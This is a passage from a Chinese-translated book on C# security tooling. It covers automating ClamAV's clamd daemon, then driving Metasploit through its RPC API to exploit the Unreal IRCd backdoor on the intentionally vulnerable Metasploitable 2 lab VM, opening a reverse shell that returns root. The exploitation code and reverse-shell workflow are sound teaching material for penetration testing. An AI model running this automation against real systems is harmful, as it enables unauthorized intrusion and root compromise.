Execute() 方法 ➋ 接受一个参数:要在 clamd 实例上运行的命令。我们的 ClamdManager 类将只实现一些可能的 clamd 命令,因此你应该研究 clamd 协议命令,以了解可以自动化的其他强大命令。为了启动命令并开始读取 clamd 响应,我们首先创建一个新的 TcpClient 类 ➌,它使用主机并将端口作为 TcpClient 参数传递给构造函数。然后我们调用 GetStream() ➍ 来连接到 clamd 实例,以便将命令写入该连接。通过使用 Write() 方法 ➎,我们将命令写入流中,然后创建一个新的 StreamReader 类来读取响应 ➏。最后,我们将响应返回给调用者 ➐。
创建一个 clamd 管理器类
ClamdSession 类的简单性(如 Listing 10-17 所定义)使得 ClamdManager 类也非常简单。它只需要创建一个构造函数和两个方法来执行我们之前手动执行的 Listing 10-15 中的命令。
public class ClamdManager
{
private ClamdSession _session = null;
public ➊ClamdManager(ClamdSession session)
{
_session = session;
}
public string ➋获取版本()
{
return _session.Execute("VERSION");
}
public string ➌扫描(string path)
{
return _session.Execute("SCAN " + path);
}
}
Listing 10-17: clamd 的管理器类
ClamdManager 构造函数 ➊ 接受一个参数——将执行命令的会话,并将其赋值给一个名为 _session 的本地类变量,其他方法可以使用该变量。
我们创建的第一个方法是 GetVersion() 方法 ➋,它通过将字符串 VERSION 传递给 Execute() 方法来执行 clamd VERSION 命令,该方法在 clamd 会话类中定义。该命令将版本信息返回给调用者。第二个方法 Scan() ➌,接受一个文件路径作为参数,它将该路径与 clamd SCAN 命令一起传递给 Execute() 方法。现在我们有了会话类和管理器类,我们可以将一切组合在一起。
使用 clamd 测试
将所有内容组合在一起只需要为 Main() 方法写几行代码,如 Listing 10-18 所示。
public static void Main(string[] args)
{
ClamdSession session = new ➊ClamdSession("127.0.0.1", 3310);
ClamdManager manager = new ClamdManager(session);
Console.WriteLine(manager.➋GetVersion());
➌foreach (string path in args)
Console.WriteLine(manager.Scan(path));
}
清单 10-18:自动化 clamd 的 Main()方法
我们通过将 127.0.0.1 作为连接主机和 3310 作为主机端口来创建 ClamdSession() ➊。然后我们将新的 ClamdSession 传递给 ClamdManager 构造函数。使用新的 ClamdManager(),我们可以打印 clamd 实例的版本➋;然后我们遍历➌传递给程序的每个参数,尝试扫描文件并将结果打印到屏幕上供用户查看。在我们的例子中,我们只会测试一个文件——EICAR 测试文件。然而,你可以根据命令行的允许,将任意多个文件添加到扫描队列中。
我们将扫描的文件需要位于运行 clamd 守护进程的服务器上,因此,为了在网络中工作,你需要一种方法将文件发送到服务器上的 clamd 可以读取的地方。这可以是一个远程网络共享或其他将文件传送到服务器的方式。在这个例子中,我们让 clamd 监听 127.0.0.1(本地地址),并且它可以扫描我在 Mac 上的主目录,这一点在清单 10-19 中得到了展示。
$ ./ch10_automating_clamav_clamd.exe ~/eicar.com.txt
ClamAV 0.99/20563/Thu Jun 11 15:05:30 2015
/Users/bperry/eicar.com.txt: 找到 Eicar-Test-Signature
清单 10-19:自动化 clamd 程序扫描硬编码的 EICAR 文件
你会注意到,使用 clamd 要比使用 libclamav 自动化快得多。这是因为 libclamav 程序花费的时间大部分用于分配和编译引擎,而不是实际扫描我们的文件。而 clamd 守护进程只需在启动时分配引擎一次;因此,当我们提交文件进行扫描时,结果会更快。我们可以通过运行带有 time 命令的应用程序来测试这一点,该命令会打印程序运行所需的时间,如清单 10-20 所示。
$ time ./ch10_automating_clamav_fs.exe ~/eicar.com.txt
找到:Eicar-Test-Signature
实际时间 ➊0m11.872s
用户 0m11.508s
系统 0m0.254s
$ time ./ch10_automating_clamav_clamd.exe ~/eicar.com.txt
ClamAV 0.99/20563/Thu Jun 11 15:05:30 2015
/Users/bperry/eicar.com.txt: 找到 Eicar-Test-Signature
实际时间 ➋0m0.111s
用户 0m0.087s
系统 0m0.011s 清单 10-20:ClamAV 和 clamd 应用程序扫描同一文件所需时间的比较
请注意,我们的第一个程序扫描 EICAR 测试文件花费了 11 秒钟➊,而第二个使用 clamd 的程序则只用了不到一秒钟➋。
结论
ClamAV 是一个功能强大且灵活的杀毒解决方案,适用于家庭和办公使用。在本章中,我们成功地以两种不同的方式使用了 ClamAV。
首先,我们为原生 libclamav 库实现了一些小型绑定。这让我们可以根据需要分配、扫描并释放 ClamAV 引擎,但代价是每次运行程序时都需要附带一份 libclamav 副本并分配一个昂贵的引擎。接着,我们实现了两个类,允许我们驱动远程 clamd 实例来获取 ClamAV 版本信息,并扫描 clamd 服务器上的指定文件路径。这有效地为我们的程序提供了显著的速度提升,但代价是要求待扫描的文件必须位于运行 clamd 的服务器上。
ClamAV 项目是一个很好的例子,展示了大公司(思科)如何真正支持开源软件,造福每个人。你会发现,扩展这些绑定来更好地保护和防御你的应用程序、用户和网络,是一个非常好的练习。
第十一章
11
自动化 Metasploit

Metasploit 是事实上的开源渗透测试框架。Metasploit 用 Ruby 编写,既是一个漏洞数据库,也是一个漏洞开发和渗透测试的框架。但是,Metasploit 的许多强大功能,比如其远程过程调用(RPC)API,经常被忽视。
本章将介绍 Metasploit RPC,并展示如何使用它以编程方式操作 Metasploit Framework。你将学习如何使用 RPC 自动化 Metasploit,利用它对 Metasploitable 2 进行攻击,Metasploitable 2 是一台故意设计为漏洞机器的 Linux 系统,旨在帮助学习如何使用 Metasploit。红队或进攻性安全专家应注意,许多繁琐的工作可以通过自动化来完成,从而腾出更多时间专注于复杂或不明显的漏洞。通过 API 驱动的 Metasploit Framework,你将能够以可扩展的方式自动化诸如主机发现甚至网络利用等繁琐任务。
运行 RPC 服务器
由于我们在 第四章 已经设置了 Metasploit,这里不再赘述设置过程。Listing 11-1 显示了运行 RPC 服务器时需要输入的内容。
$ msfrpcd -U username -P password -S -f Listing 11-1: 运行 RPC 服务器
-U 和 -P 参数代表用于验证 RPC 的用户名和密码。你可以为用户名或密码选择任何值,但当我们编写 C# 代码时需要用到这些凭证。-S 参数禁用 SSL。(自签名证书会让事情变得更复杂,因此我们暂时忽略它们。)最后,-f 参数告诉 RPC 接口在前台运行,以便更容易监控 RPC 进程。
要使用正在运行的新 RPC 接口,首先启动一个新终端,或者在没有 -f 选项的情况下重启 msfrpcd(该选项启动 msfrpcd 并将其放入后台运行),然后使用 Metasploit 的 msfrpc 客户端连接到刚刚启动的 RPC 监听器,并开始发出调用。不过需要提醒的是:msfrpc 客户端的界面相当晦涩难懂——它很难阅读,而且错误信息不直观。Listing 11-2 展示了如何使用 Metasploit 提供的 msfrpc 客户端进行身份验证。
$ msfrpc ➊-U username ➋-P password ➌-S ➍-a 127.0.0.1
[*] 'rpc' 对象包含 RPC 客户端接口
[*] 使用 rpc.call('group.command') 发出 RPC 调用
➎rpc.call('auth.login', 'username', 'password')
=>
Listing 11-2: 使用 msfrpc 客户端与 msfrpcd 服务器进行身份验证
为了通过 msfrpcd 连接到 RPC 监听器,我们向 msfrpcd 传递几个参数。我们为 RPC 监听器设置的用户名和密码用于身份验证,通过-U ➊和-P ➋传递。-S 参数 ➌告诉 msfrpc 不要使用 SSL 连接监听器,-a 参数 ➍是监听器连接的 IP 地址。由于我们启动 msfrpcd 实例时没有指定监听的 IP 地址,因此默认使用 127.0.0.1 地址。
一旦连接到 RPC 监听器,我们可以使用 rpc.call() ➎来调用可用的 API 方法。我们将使用 auth.login 远程过程方法进行测试,因为它将使用我们传递的相同用户名和密码作为参数。当你调用 rpc.call()时,RPC 方法和参数会被打包成一个序列化的 MSGPACK 二进制数据块,通过 HTTP POST 请求以 binary/message-pack 的内容类型发送到 RPC 服务器。这些是需要注意的重要点,因为我们在 C#中也需要做同样的事情与 RPC 服务器进行通信。
我们已经有了很多关于 HTTP 库的经验,但 MSGPACK 序列化肯定不是一个典型的 HTTP 序列化格式(你更可能看到 XML 或 JSON)。MSGPACK 使得 C#可以非常高效地从 Ruby RPC 服务器读取和响应复杂数据,正如使用 JSON 或 XML 也可能是两个语言之间的桥梁。当我们使用 MSGPACK 时,序列化的工作方式应该会变得更加清晰。
安装 Metasploitable
Metasploitable 2 存在一个特别容易利用的漏洞:一个被植入后门的 Unreal IRC 服务器。这是一个很好的示例,展示了我们可以用 Metasploit RPC 来攻克的漏洞,且配有 Metasploit 模块。你可以从 Rapid7 的information.rapid7.com/metasploitable-download.html或 VulnHub 的www.vulnhub.com/下载 Metasploitable 2。
Metasploitable 以 VMDK 镜像文件形式打包在一个 ZIP 压缩包中,因此将其安装到 VirtualBox 并不完全简单。解压 Metasploitable 虚拟机并打开 VirtualBox 后,按照以下步骤操作:
-
点击 VirtualBox 左上角的“新建”按钮,打开向导。
-
创建一个名为 Metasploitable 的新虚拟机。
-
将类型设置为 Linux,版本保持为 Ubuntu(64 位);然后点击继续或下一步。
-
为虚拟机分配 512 MB 至 1 GB 的 RAM,然后点击继续或下一步。
-
在硬盘对话框中,选择“使用现有的虚拟硬盘文件”选项。
-
在硬盘下拉菜单旁边有一个小文件夹图标。点击它并导航到你解压 Metasploitable 的文件夹。
-
选择 Metasploitable VMDK 文件并在对话框的右下角点击“打开”。
-
在硬盘对话框中,点击“创建”按钮。这将关闭虚拟机向导。
-
通过点击 VirtualBox 窗口顶部的“启动”按钮来启动新的虚拟机。
一旦虚拟设备启动完成,我们需要它的 IP 地址。获取 IP 地址的方法是:设备启动后,用凭据 msfadmin/msfadmin 登录,然后在 bash shell 中输入 ifconfig 命令,将 IP 配置信息打印到屏幕上。
获取 MSGPACK 库
在开始编写 C#代码来驱动我们的 Metasploit 实例之前,我们需要再获取一件事:MSGPACK 库。这个库不是 C#核心库的一部分,因此我们必须使用 NuGet,它是一个.NET 包管理器,类似于 Python 的 pip 或 Ruby 的 gem,来安装我们想要使用的正确库。默认情况下,Visual Studio 和 Xamarin Studio 对 NuGet 包管理有很好的支持。然而,适用于 Linux 发行版的免费 MonoDevelop 在 NuGet 功能方面没有这些 IDE 那么先进。让我们来看一下如何在 MonoDevelop 中安装正确的 MSGPACK 库。这有点曲折,但使用 Xamarin Studio 和 Visual Studio 会更简单,因为它们不需要你使用特定版本的 MSGPACK 库。
为 MonoDevelop 安装 NuGet 包管理器
首先,你可能需要使用 MonoDevelop 中的“附加组件管理器”安装 NuGet 附加组件。如果是这样,打开 MonoDevelop 并按照以下步骤安装 NuGet 包管理器:
-
进入“工具” ▸ “附加组件管理器”菜单项。
-
点击“图库”选项卡。
-
在“仓库”下拉列表中,选择“管理仓库”。
-
点击“添加”按钮以添加新仓库。
-
在“添加新仓库”对话框中,确保选中“注册在线仓库”。在 URL 文本框中,输入以下 URL:http://mrward.github.com/monodevelop-nuget-addin-repository/4.0/main.mrep
-
点击“确定”并通过点击“关闭”关闭“添加新仓库”对话框。
安装完新仓库后,你可以轻松安装 NuGet 包管理器。关闭仓库对话框后,你应该会回到附加组件管理器的“图库”选项卡。在附加组件管理器的右上角有一个文本框,可以用来搜索可安装的附加组件。输入 nuget 到该框中,它会筛选出 NuGet 包管理器。选择 NuGet 扩展,然后点击“安装”按钮(见图 11-1)。

图 11-1:MonoDevelop 附加组件管理器安装 NuGet
安装 MSGPACK 库
现在,NuGet 包管理器已经安装,我们可以安装 MSGPACK 库了。不过有一个小问题。对于 MonoDevelop 来说,最适合安装的 MSGPACK 库版本是 0.6.8(为了兼容性),但 MonoDevelop 中的 NuGet 管理器不允许我们指定版本,它会尝试安装最新版本。我们需要手动向项目中添加一个 packages.config 文件,指定我们想要的库版本,如 列表 11-3 所示。右键点击 MonoDevelop、Xamarin Studio 或 Visual Studio 中的 Metasploit 项目,在弹出的菜单中选择 添加 ▸ 新建文件,并添加一个名为 packages.config 的新文件。
列表 11-3:指定 MsgPack.Cli 库正确版本的 packages.config 文件
创建完 packages.config 文件后,重新启动 MonoDevelop 并打开你创建的项目,以便运行我们接下来将编写的 Metasploit 代码。现在,你应该能够右键点击项目引用,点击 “恢复 NuGet 包” 菜单项,这将确保 packages.config 文件中的包以正确的版本安装。
引用 MSGPACK 库
安装好正确版本的 MSGPACK 库后,我们现在可以将其添加为项目的引用,以便开始编写代码。通常,NuGet 会为我们处理这一切,但在 MonoDevelop 中有一个小 bug,我们必须绕过它。右键点击 MonoDevelop 解决方案面板中的 References 文件夹,选择 编辑引用...(参见 图 11-2)。

图 11-2:解决方案面板中的 编辑引用... 菜单项
编辑引用对话框应该会显示出几个可用的标签页,如 图 11-3 所示。你需要选择 .Net Assembly 标签页,然后导航到项目根目录中的 packages 文件夹下的 MsgPack.dll 程序集。这个 packages 文件夹是 NuGet 在你下载 MSGPACK 库时自动创建的。

图 11-3:编辑引用对话框
在找到 MsgPack.dll 库后,选择它并点击对话框右下角的 OK 按钮。这样应该会将 MsgPack.dll 库添加到你的项目中,以便你可以开始使用类并在 C# 源文件中引用该库。
编写 MetasploitSession 类
现在我们需要构建一个 MetasploitSession 类来与 RPC 服务器进行通信,如 列表 11-4 所示。
public class MetasploitSession : IDisposable
{
string _host;
string _token;
public MetasploitSession(➊string username, string password, string host)
{
_host = host;
_token = null;
Dictionary<object, object> response = this.➋Authenticate(username, password);
➌bool loggedIn = !response.ContainsKey("error");
if (!loggedIn)
➍throw new Exception(response["error_message"] as string);
➎if ((response["result"] as string) == "success")
_token = response["token"] as string;
}
public string ➏Token
{
get { return _token; }
}
public Dictionary<object, object> Authenticate(string username, string password)
{
return this.➐Execute("auth.login", username, password);
}
第 11-4 节:MetasploitSession 类构造函数、Token 属性和 Authenticate()方法
MetasploitSession 构造函数接收三个参数,如➊所示:用于认证的用户名和密码,以及要连接的主机。我们使用提供的用户名和密码调用 Authenticate() ➋,然后通过检查响应是否包含错误来验证认证 ➌。如果认证失败,则抛出异常 ➍。如果认证成功,我们将 _token 变量赋值为 RPC 返回的认证令牌 ➎,并将 Token ➏设为 public。Authenticate()方法调用 Execute()方法 ➐,传入 auth.login 作为 RPC 方法以及用户名和密码。
创建 Execute()方法用于 HTTP 请求并与 MSGPACK 交互
Execute()方法(见第 11-5 节)是 RPC 库的核心,负责创建和发送 HTTP 请求,并将 RPC 方法和参数序列化为 MSGPACK。
public Dictionary<object, object> Execute(string method, params object[] args)
{
if ➊(method != "auth.login" && string.IsNullOrEmpty(_token))
throw new Exception("未认证。");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(_host);
request.ContentType = ➋"binary/message-pack";
request.Method = "POST";
request.KeepAlive = true;
using (Stream requestStream = request.GetRequestStream())
using (Packer msgpackWriter = ➌Packer.Create(requestStream))
{
bool sendToken = (!string.IsNullOrEmpty(_token) && method != "auth.login");
msgpackWriter.➍PackArrayHeader(1 + (sendToken ? 1 : 0) + args.Length);
msgpackWriter.Pack(method);
if (sendToken)
msgpackWriter.Pack(_token);
➎foreach (object arg in args)
msgpackWriter.Pack(arg);
}
➏using (MemoryStream mstream = new MemoryStream())
{
using (WebResponse response = request.GetResponse())
using (Stream rstream = response.GetResponseStream())
rstream.CopyTo(mstream);
mstream.Position = 0;
MessagePackObjectDictionary resp =
Unpacking.➐UnpackObject(mstream).AsDictionary();
return MessagePackToDictionary(resp);
}
}
第 11-5 节:MetasploitSession 类的 Execute()方法
在➊处,我们检查是否传递了 auth.login 作为 RPC 方法,这是唯一一个不需要认证的 RPC 方法。如果方法不是 auth.login 而且我们没有设置认证令牌,就会抛出异常,因为没有认证的命令执行会失败。
一旦我们确认有足够的认证信息来进行 API HTTP 请求,我们会将 ContentType 设置为 binary/message-pack ➋,以便 API 知道我们正在将 MSGPACK 数据发送到 HTTP 正文中。接着,我们通过将 HTTP 请求流传递给 Packer.Create() 方法 ➌ 来创建一个 Packer 类。Packer 类(在 MsgPack.Cli 库中定义)是一个真正节省时间的工具,它允许我们将 RPC 方法和参数写入 HTTP 请求流中。我们将使用 Packer 类中的各种打包方法来序列化并将 RPC 方法和参数写入请求流。
我们使用 PackArrayHeader() ➘ 写入我们正在写入请求流的信息总数。例如,auth.login 方法有三条信息:方法名以及两个参数:用户名和密码。我们首先将数字 3 写入流中。然后,我们将字符串 auth.login、username 和 password 使用 Pack 写入流中。我们将使用这种将 API 方法和参数序列化并作为 HTTP 正文发送的通用过程来向 Metasploit RPC 发送我们的 API 请求。
在将 RPC 方法写入请求流之后,如果需要,我们会写入认证令牌。然后,我们继续在 foreach 循环 ➎ 中打包 RPC 方法参数,以完成 HTTP 请求并发起 API 调用。
Execute() 方法的其余部分读取使用 MSGPACK 序列化的 HTTP 响应,并将其转换为我们可以使用的 C# 类。我们首先使用 MemoryStream() ➏ 将响应读取到字节数组中。然后,我们使用 UnpackObject() ➐ 反序列化响应,传入字节数组作为唯一参数,并将对象作为 MSGPACK 字典返回。然而,这个 MSGPACK 字典并不是我们想要的。字典中包含的值——例如字符串——都需要转换为它们的 C# 类对应物,以便我们能更方便地使用它们。为此,我们将 MSGPACK 字典传递给 MessagePackToDictionary() 方法(将在下一节讨论)。
从 MSGPACK 转换响应数据
接下来的几个方法主要用于将 Metasploit 的 MSGPACK 格式的 API 响应转换为我们可以更容易使用的 C# 类。
使用 MessagePackToDictionary() 将 MSGPACK 对象转换为 C# 字典
MessagePackToDictionary() 方法如 Listing 11-6 所示,它在 Listing 11-5 的 Execute() 方法末尾被引入。它接受一个 MessagePackObjectDictionary,并将其转换为 C# 字典(用于存储键/值对的类),这与 Ruby 或 Python 中的哈希类似。
Dictionary<object,object> MessagePackToDictionary(➊MessagePackObjectDictionary dict)
{
Dictionary<object, object> newDict = new ➋Dictionary<object, object>();
foreach (var pair in ➌dict)
{
object newKey = ➍GetObject(pair.Key);
if (pair.Value.IsTypeOf
() == true) newDict[newKey] = MessagePackToDictionary(pair.Value.AsDictionary());
else
newDict[newKey] = ➎GetObject(pair.Value);
}
➏return newDict;
}
列表 11-6:MessagePackToDictionary() 方法
MessagePackToDictionary()方法接受一个参数➊,即我们要转换为 C#字典的 MSGPACK 字典。一旦我们创建了 C#字典➋,我们将通过遍历从 MSGPACK 字典中传递的每个键/值对将转换后的 MSGPACK 对象放入其中➌。首先,我们将获取给定键的 C#对象,作为当前循环迭代的结果➍,然后我们将测试相应的值以确定如何最好地处理它。例如,如果值是字典,我们通过调用 MessagePackToDictionary()方法引入递归。否则,如果值不是另一个字典,我们将其转换为对应的 C#类型,使用 GetObject()方法,这将在稍后定义➎。最后,我们返回包含 C#类型而非 MSGPACK 类型的新字典➏。
使用 GetObject()将 MSGPACK 对象转换为 C#对象
列表 11-7 显示了我们如何实现列表 11-6 中第➍所示的 GetObject()方法。该方法接受一个 MessagePackObject,将其转换为 C#类,并返回新的对象。
private object GetObject(MessagePackObject str)
{
➊if (str.UnderlyingType == typeof(byte[]))
return System.Text.Encoding.ASCII.GetString(str.AsBinary());
else if (str.UnderlyingType == typeof(string))
return str.AsString();
else if (str.UnderlyingType == typeof(byte))
return str.AsByte();
else if (str.UnderlyingType == typeof(bool))
return str.AsBoolean();
➋return null;
}
列表 11-7:MetasploitSession 类的 GetObject() 方法
GetObject() 方法检查一个对象是否属于某种类型,例如字符串或布尔值,如果匹配则返回该对象对应的 C#类型。在➊位置,我们将任何 UnderlyingType 为字节数组的 MessagePackObject 转换为字符串并返回新的字符串。由于从 Metasploit 发送的某些“字符串”实际上只是字节数组,我们必须在开始时将这些字节数组转换为字符串,否则每次使用时都需要强制转换为字符串。频繁的强制转换在计算上往往效率低下,因此最好在一开始就将所有值转换。
其余的 if 语句检查并转换其他数据类型。如果我们到达最后的 else if 语句且无法返回新的对象,我们将返回 null ➋。这允许我们测试转换到其他类型是否成功。如果返回 null,我们必须找出为什么无法将 MSGPACK 对象转换为另一个 C#类。
使用 Dispose()清理 RPC 会话
在列表 11-8 中展示的 Dispose()方法会在垃圾回收期间清理我们的 RPC 会话。
public void Dispose()
{
if (this.➊Token != null)
{
this.Execute("auth.logout", this.Token);
_token = null;
}
}
列表 11-8:MetasploitSession 类的 Dispose() 方法
如果我们的 Token 属性 ➊ 不是 null,则我们假定已经通过认证,调用 auth.logout 并将认证 token 作为唯一参数传递,然后将本地 _token 变量赋值为 null。
测试 session 类
现在可以通过显示 RPC 版本来测试我们的 session 类(参见 列表 11-9)。当 session 类工作并完成后,我们可以真正开始驱动 Metasploit,并继续自动化利用 Metasploitable。
public static void Main(string[] args)
{
string listenAddr = ➊args[0];
using (MetasploitSession session = new ➋MetasploitSession("username",
"password", "http://"+listenAddr+":55553/api"))
{
if (string.IsNullOrEmpty(session.Token))
throw new Exception("登录失败。检查凭证");
Dictionary<object, object> version = session.➌Execute("core.version");
Console.WriteLine(➍"Version: " + version["version"]);
Console.WriteLine(➎"Ruby: " + version["ruby"]);
Console.WriteLine(➏"API: " + version["api"]);
}
}
列表 11-9:测试 MetasploitSession 类以从 RPC 接口获取版本信息
这个小测试程序需要一个参数:Metasploit 主机的 IP 地址。我们做的第一件事是将第一个参数分配给 listenAddr 变量 ➊,该变量用于创建新的 MetasploitSession ➋。认证通过后,我们调用 core.version RPC 方法 ➌,显示当前使用的 Metasploit ➍、Ruby ➎ 和 API ➏ 版本,输出如 列表 11-10 所示。
$ ./ch11_automating_metasploit.exe 192.168.0.2
Version: 4.11.8-dev-a030179
Ruby: 2.1.6 x86_64-darwin14.0 2015-04-13
API: 1.0
列表 11-10:运行 MetasploitSession 测试打印 API、Ruby 和 Metasploit 版本信息
编写 MetasploitManager 类
如 列表 11-11 所示,MetasploitManager 类封装了我们通过 RPC 编程驱动利用所需的一些基本功能,包括列出会话、读取会话 Shell 和执行模块的能力。
public class MetasploitManager : IDisposable
{
private MetasploitSession _session;
public MetasploitManager(➊MetasploitSession session)
{
_session = session;
}
public Dictionary<object, object> ➋ListJobs()
{
return _session.Execute("job.list");
}
public Dictionary<object, object> StopJob(string jobID)
{
return _session.Execute("job.stop", jobID);
}
public Dictionary<object, object> ➌ExecuteModule(string moduleType, string moduleName,
Dictionary<object, object> options)
{
return _session.Execute("module.execute", moduleType, moduleName, options);
}
public Dictionary<object, object> ListSessions()
{
return _session.Execute("session.list");
}
public Dictionary<object, object> StopSession(string sessionID)
{
return _session.Execute("session.stop", sessionID);
}
public Dictionary<object, object> ➍ReadSessionShell(string sessionID, int? readPointer = null)
{
if (readPointer.HasValue)
return _session.Execute("session.shell_read", sessionID, readPointer.Value);
else
return _session.Execute("session.shell_read", sessionID);
}
public Dictionary<object, object> ➎WriteToSessionShell(string sessionID, string data)
{
return _session.Execute("session.shell_write", sessionID, data);
}
public void Dispose()
{
_session = null;
}
}
Listing 11-11: MetasploitManager 类
MetasploitManager 构造函数将 MetasploitSession ➊ 作为唯一参数,并将会话参数分配给一个本地类变量。该类中的其他方法只是封装了我们用于自动化利用 Metasploitable 2 的特定 RPC 方法。例如,我们使用 ListJobs() 方法 ➋ 来监控我们的 exploit,以便在 exploit 完成时知道,并可以在目标机器上运行命令。
我们使用 ReadSessionShell() 方法 ➍ 来读取运行命令时通过会话产生的任何输出。相反,WriteToSessionShell() 方法 ➎ 将任何命令写入 shell 以便执行。ExecuteModule() 方法 ➌ 接受一个要执行的模块和执行该模块时使用的选项。每个方法都使用 Execute() 执行给定的 RPC 方法,并将结果返回给调用者。我们将在接下来的章节中讨论每个方法,并完成驱动 Metasploit 的最后步骤。
整合所有内容
现在,我们可以使用我们的类开始通过 Metasploit 自动化利用过程。首先,编写一个 Main() 方法来监听连接回来的 shell,然后运行一个 exploit,使 Metasploitable 连接回我们的监听器并建立一个新会话(参见 Listing 11-12)。
public static void Main(string[] args)
{
➊string listenAddr = args[1];
int listenPort = 4444;
string payload = "cmd/unix/reverse";
using (➋MetasploitSession session = new MetasploitSession("username",
"password", "http://"+listenAddr+":55553/api"))
{
if (string.IsNullOrEmpty(session.➌Token))
throw new Exception("登录失败。检查凭据");
using (MetasploitManager manager = new ➍MetasploitManager(session))
{
Dictionary<object, object> response = null;
➎Dictionary<object, object> opts = new Dictionary<object, object>();
opts["ExitOnSession"] = false;
opts["PAYLOAD"] = payload;
opts["LHOST"] = listenAddr;
opts["LPORT"] = listenPort;
response = manager.➏ExecuteModule("exploit", "multi/handler", opts);
object jobID = response["job_id"]; Listing 11-12: 开始使用 Main() 方法自动化 MetasploitSession 和 MetasploitManager 类
接下来,我们定义一些后续使用的变量 ➊:Metasploit 用于监听回连接的地址和端口,以及要发送到 Metasploitable 的有效载荷。然后,我们创建一个新的 MetasploitSession 类 ➋ 并检查会话的 Token 属性 ➌ 以确认身份验证。确认身份后,我们将会话传递给新的 MetasploitManager ➍,以便我们开始利用过程。
在 ➎ 处,我们创建了一个字典来存储在开始监听回连时发送给 Metasploit 的选项,即 ExitOnSession、PAYLOAD、LHOST 和 LPORT。ExitOnSession 选项是一个布尔值,用来指示当会话连接时监听器是否会停止。如果这个值为 true,监听器将停止;如果为 false,监听器将继续监听新的 shell。PAYLOAD 选项是一个字符串,用来告诉 Metasploit 监听器应该期待什么样的回连负载。LPORT 和 LHOST 分别是要监听的端口和 IP 地址。我们将这些选项传递给 multi/handler 漏洞利用模块(它监听来自 Metasploitable 的回连 shell),并通过 ExecuteModule() ➏ 启动一个任务来监听回连 shell。ExecuteModule() 返回的任务 ID 被存储以备后续使用。
运行漏洞利用
列表 11-13 显示了如何添加代码来对 Metasploitable 执行实际的漏洞利用。
opts = new Dictionary<object, object>();
opts["RHOST"] = args[0];
opts["DisablePayloadHandler"] = true;
opts["LHOST"] = listenAddr;
opts["LPORT"] = listenPort;
opts["PAYLOAD"] = payload;
manager.➊ExecuteModule("exploit", "unix/irc/unreal_ircd_3281_backdoor", opts); 列表 11-13:通过 RPC 运行 Unreal IRCD 漏洞利用
正如我们之前所做的,我们在调用 ExecuteModule() ➊ 之前在字典中设置了模块的数据存储选项,并传递了 unix/irc/unreal_ircd_3281_backdoor 漏洞利用模块名称和选项(参见列表 11-14)。
response = manager.➊ListJobs();
while (response.➋ContainsValue("Exploit: unix/irc/unreal_ircd_3281_backdoor"))
{
Console.WriteLine("等待");
System.Threading.Thread.Sleep(10000);
response = manager.➌ListJobs();
}
response = manager.➍StopJob(jobID.ToString());
列表 11-14:观察直到 Unreal IRC 漏洞利用完成运行
ListJobs() 方法 ➊ 返回当前在 Metasploit 实例上运行的所有任务的字符串列表,模块名称包含在其中。如果列表中包含我们正在运行的模块名称,说明我们的漏洞利用尚未完成,因此我们需要等待一段时间并重新检查,直到我们的模块不再列出。如果 ContainsValue() ➋ 返回 true,表示我们的模块仍在运行,因此我们会暂停并再次调用 ListJobs() ➌,直到漏洞利用模块不再出现在任务列表中,这意味着它已经完成运行。现在我们应该已经有了一个 shell。最后,我们通过传递先前存储的任务 ID,使用 StopJob() ➍ 关闭 multi/handler 漏洞利用模块。
与 Shell 交互
现在我们应该能够与新的 shell 进行交互。为了测试连接,我们运行一个简单的命令来确认我们已经获得了所需的访问权限,如列表 11-15 所示。
response = manager.➊ListSessions();
foreach (var pair in response)
{
string sessionID = pair.Key.ToString();
manager.➋WriteToSessionShell(sessionID, "id\n");
System.Threading.Thread.Sleep(1000);
response = manager.➌ReadSessionShell(sessionID);
Console.WriteLine("我们是用户: " + response ["data"]);
Console.WriteLine("结束会话: " + sessionID);
manager.➍StopSession(sessionID);
}
}
}
}
示例 11-15:检索当前会话列表并打印结果
在 ➊,我们调用 ListSessions(),它返回会话 ID 列表以及有关会话的一般信息,如会话类型。在我们遍历每个会话时(除非你多次运行漏洞,否则应该只有一个会话!),我们使用 WriteToSessionShell() 方法 ➋ 将 id 命令写入会话 shell,然后暂停片刻,使用 ReadSessionShell() ➌ 读取响应。最后,我们写出在被控制的系统上运行 id 命令的结果,然后使用 StopSession() ➍ 结束该会话。
打开 Shell
现在我们可以运行自动化程序并打开一些简单的 shell。程序必须使用两个参数运行:一个是要利用的主机,另一个是 Metasploit 用于监听 shell 的 IP 地址,正如示例 11-16 所示。
$ ./ch11_automating_metasploit.exe 192.168.0.18 192.168.0.2
等待中
等待中
等待中
等待中
等待中
我们是用户:➊uid=0(root) gid=0(root)
结束会话:3
$
示例 11-16:运行 Unreal IRC 漏洞自动化,显示我们已经获得 root shell
如果一切正常,我们现在应该已经获得 root shell ➊,并且我们可以使用 C# 自动化运行一些后期利用模块,或者在这个 shell 消失的情况下创建一些备用 shell。post/linux/gather/enum_configs 模块是 Linux 的常见后期利用模块。你可以更新你的自动化程序,在获得 Metasploitable 的初始 shell 后,运行这个或任何 post/linux/gather/enum_* 模块。
这只是你可以驱动 Metasploit 框架做的非常酷的事情的开始,从发现到利用。如前所述,Metasploit 甚至在后期利用阶段也有一席之地,提供了许多适用于多个操作系统的模块。你还可以通过辅助扫描模块(位于 auxiliary/scanner/*)来驱动发现。一个很棒的练习是,使用我们在第四章中编写的跨平台 Metasploit 负载,通过 RPC 动态生成 shellcode,并创建动态负载。
结论
在本章中,你学习了如何创建一组小的类,通过 RPC 接口以编程方式驱动 Metasploit。通过使用基本的 HTTP 库和第三方 MSGPACK 库,我们成功地利用了 Metasploitable 2 虚拟机的 Unreal IRCD 后门,然后在已被控制的机器上运行命令,以证明我们已经获得了 root shell。
本章我们仅触及了 Metasploit RPC 的强大功能。我强烈鼓励你深入挖掘将 Metasploit 应用于变更管理或软件开发生命周期过程中的潜力,以确保在公司环境中,错误配置或脆弱的软件不会通过自动扫描重新引入到数据中心或网络中。在家里,你可以轻松地通过 Metasploit 自带的 Nmap 集成功能,自动发现新设备,找出你的孩子可能没有告诉你的新手机或小玩意。当谈到 Metasploit 框架的灵活性和强大功能时,可能性是无限的。
第十二章
12
自动化 Arachni

Arachni 是一个强大的 Web 应用程序黑盒安全扫描工具,使用 Ruby 编写。它支持多种 Web 应用程序漏洞的检测,包括许多 OWASP 十大漏洞(如 XSS 和 SQL 注入);具有高度可扩展的分布式架构,可以动态启动集群中的扫描器;并通过远程过程调用(RPC)接口和表现性状态转移(REST)接口实现完全自动化。在本章中,你将学习如何使用 Arachni 的 REST API,然后使用其 RPC 接口扫描给定 URL 中的 Web 应用程序漏洞。
安装 Arachni
